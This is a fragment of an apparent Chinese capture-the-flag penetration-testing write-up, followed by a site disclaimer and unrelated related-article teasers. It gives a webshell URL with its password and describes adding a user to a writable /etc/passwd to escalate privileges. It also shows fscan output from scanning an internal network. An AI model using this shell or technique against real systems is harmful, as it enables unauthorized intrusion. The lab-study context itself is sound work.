http://202.0.6.236/server/php/files/xiaomao.php 密码 1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag9

/etc/passwd ​ 可读可写的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 写个用户和密码进去

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

172.25.0.100

[root@jquery sss]# ./fscan -h 172.25.0.100/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.25.0.7      is alive
(icmp) Target 172.25.0.2      is alive
(icmp) Target 172.25.0.100    is alive
(icmp) Target 172.25.0.254    is alive
[*] Icmp alive hosts len is: 4
172.25.0.100:8080 open
172.25.0.100:445 open
172.25.0.100:139 open
172.25.0.100:80 open
172.25.0.2:80 open
172.25.0.7:80 open
172.25.0.100:22 open
172.25.0.2:22 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.25.0.100       code:200 len:750    title:Index of /
[*] WebTitle http://172.25.0.2         code:200 len:747    title:None
[*] NetBios 172.25.0.100    STORAGE\STORAGE                     Windows 6.1
[*] OsInfo 172.25.0.100 (Windows 6.1)
[*] WebTitle http://172.25.0.100:8080  code:200 len:256    title:None
[*] WebTitle http://172.25.0.7         code:200 len:93114  title:一个好网站

flag12

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag14

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/649066.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

一个给新手进阶的IAT加密壳

前言 这篇文章中介绍了IAT加壳与解壳的全过程&#xff0c;并用Ollydbg进行逆向分析&#xff0c;说明这个壳的鸡肋的之处&#xff0c;最后给出了核心源代码。 必备基础 必须很熟悉PE结构&#xff0c;特别是导入表的双桥结构。 IAT(Import Address Table)&#xff0c;导入地址…

Shiro+Jwt+Redis

如何整合ShiroJwtRedis&#xff0c;以及为什么要这么做 我个人认为 ①为什么用shiro&#xff1a;“ShiroJwtRedis”模式和“单纯的shiro”模式相比&#xff0c;主要用的是shiro里面的登录认证和权限控制功能 ②为什么用jwt&#xff1a;“ShiroJwt”模式和“ShiroCookie”模式相…

怎么搭建微信留言板功能

在信息爆炸的时代&#xff0c;微信已经成为了我们日常生活中不可或缺的一部分。它不仅仅是一个简单的聊天工具&#xff0c;更是一个充满无限可能的营销平台。今天&#xff0c;我要向大家介绍的是如何在你的微信平台上搭建一个独具特色的留言板功能&#xff0c;让用户能够自由发…

【Flutter】Dialog组件PageView组件

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;Flutter学习 &#x1f320; 首发时间&#xff1a;2024年5月27日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e; 目…

需求跟踪矩阵是什么?怎么创建?一文详解

一、什么是需求跟踪矩阵 对项目经理或产品经理来说&#xff0c;需求清单肯定不陌生&#xff0c;那什么是需求跟踪矩阵呢&#xff1f; 需求跟踪矩阵&#xff08;Requirement Track Matrix&#xff0c;简称RTM &#xff09;&#xff0c;是把产品需求从其来源连接到能满足需求的…

Spring中@Component注解

Component注解 在Spring框架中&#xff0c;Component是一个通用的注解&#xff0c;用于标识一个类作为Spring容器管理的组件。当Spring扫描到被Component注解的类时&#xff0c;会自动创建一个该类的实例并将其纳入Spring容器中管理。 使用方式 1、基本用法&#xff1a; Co…

[AI OpenAI] OpenAI 安全更新

AI 首尔峰会中分享我们的实践 我们自豪地构建并发布了在能力和安全性方面都处于行业领先地位的模型。 超过一亿用户和数百万开发者依赖于我们安全团队的工作。我们将安全视为我们必须在多个时间范围内投资并取得成功的事项&#xff0c;从使今天的模型与我们未来预期的更具能力…

【Spring Cloud】远程调用

目录 Spring Cloud Netflix Feign简介前言Feign是什么OpenFeign组件和Spring Cloud OpenFeignOpenFeign组件Spring Cloud OpenFeign OpenFeign-微服务接口调用需求说明1. 启动Eureka Server服务2.创建两个项目&#xff0c;将其注册到Eureka Server3.在服务提供者中添加业务处理…

如何处理逻辑设计中的时钟域

1.什么是时钟域 2.PLL对时钟域管理 不管是否需要变频变相&#xff0c;在FPGA内部将外部输入时钟从专用时钟引脚扇入后先做PLL处理。如何调用pll&#xff0c;见另一篇文章。 约束输入时钟 creat_clock -period 10 -waveform {0 5} [get_ports {sys_clk}] 3.单bit信号跨时钟…

【Linux进程篇】父子进程fork函数||进程生死轮回状态||僵尸进程与孤儿进程

W...Y的主页 &#x1f60a; 代码仓库分享&#x1f495; 前言&#xff1a;上篇文章中我们认识了进程&#xff0c;可执行程序在内存中加载运行被称作进程&#xff0c;而操作系统是通过给每一个可执行程序创建一个PCB来管理进程的。并且学习了一些查看进程的指令&#xff0c;认识…

Flask 蓝图路由的模块化开发

基于 Flask 蓝图路由的模块化开发 1. 编程目标 为了提高Flask应用的可维护性和可扩展性&#xff0c;我们通过使用Flask的蓝图(Blueprint)功能&#xff0c;可以将不同的功能模块拆分到独立的文件中&#xff0c;方便后续的开发和维护。 2. 项目结构 项目结构树如下&#xff1…

助力企业标准化搭建--图框模板的创建

古有秦皇书同文、车同轨&#xff0c;今各行各业都有国际标准、国家标准&#xff0c;其目的就是为了标准化、统一化&#xff0c;由此可见标准化的重要性&#xff1b;一个企业若是想规范员工的操作&#xff0c;推行标准化也很重要&#xff1b;因此对于需要绘制电气图纸的行业来说…

从0开始学统计-秩和检验

1.什么是秩和检验&#xff1f; 秩和检验&#xff0c;也称为Wilcoxon 秩和检验&#xff0c;是一种非参数统计检验方法&#xff0c;用于比较两个独立样本的中位数是否有显著差异。它不要求数据满足正态分布假设&#xff0c;因此适用于小样本或者数据不满足正态分布假设的情况。 …

2024年怎么下载学浪app视频

想要在2024年紧跟潮流&#xff0c;成为一名优秀的学浪用户吗&#xff1f;今天就让我们一起探索如何下载学浪app视频吧&#xff01; 学浪视频下载工具打包 学浪下载工具打包链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;1234 --来自百度网盘超级会员V10的分享…

性能怪兽!香橙派 Kunpeng Pro 开发板深度测评,带你解锁无限可能

性能怪兽&#xff01;香橙派 Kunpeng Pro 开发板深度测评&#xff0c;带你解锁无限可能 文章目录 性能怪兽&#xff01;香橙派 Kunpeng Pro 开发板深度测评&#xff0c;带你解锁无限可能一、背景二、香橙派 Kunpeng Pro 硬件规格概述三、使用准备与系统安装1️⃣、系统安装步骤…

字节面试:百亿级数据存储,怎么设计?只是分库分表吗?

尼恩&#xff1a;百亿级数据存储架构起源 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;经常性的指导小伙伴们改造简历。 经过尼恩的改造之后&#xff0c;很多小伙伴拿到了一线互联网企业如得物、阿里、滴滴、极兔、有赞、希音、百度、网易、美团的面试机会&#xff0c…

cuda 11.6 pytorch安装

在安装之前&#xff0c;需要先配置GPU环境&#xff08;安装CUDA和CudaNN) 命令行输入nvidia-smi&#xff0c;查看驱动信息 nvidia-smi 安装相应的CUDA 和CUDANN 验证&#xff1a;输入nvcc --version 或者nvcc -V 进行检查 nvcc --version nvcc -V 在anaconda里创建环境 con…

彭永东所交“答卷”道尽万般无奈,贝壳找房营收、利润双双锐减

就今年第一季度业绩披露后两日的股价变动来看&#xff0c;贝壳找房&#xff08;下称“贝壳”&#xff09;似乎并未在港股和美股市场取得预期的效果。 港股市场&#xff0c;截至5月24日收盘&#xff0c;贝壳-W&#xff08;HK:02423&#xff09;报收43.9港元/股&#xff0c;当日跌…

海外网红营销新趋势:“快闪式”营销如何迅速提升品牌曝光度

在当今数字化时代&#xff0c;海外网红营销已成为品牌迅速触达全球消费者、提升品牌曝光度和刺激销售的重要手段。其中&#xff0c;“快闪式”营销以其独特的时效性、创意性和互动性&#xff0c;成为品牌与海外网红合作的新趋势。本文Nox聚星将和大家探讨如何利用海外网红的影响…

梭住绿色,植梦WILL来,容声冰箱“节能森林计划”再启航

近日&#xff0c;容声冰箱再度开启了“节能森林计划”绿色公益之旅。 据「TMT星球」了解&#xff0c;此次活动深入到阿拉善荒漠化地带&#xff0c;通过实地考察和亲身体验&#xff0c;见证容声了“节能森林计划”项目的持续落地和实施效果。 2022年&#xff0c;容声冰箱启动了…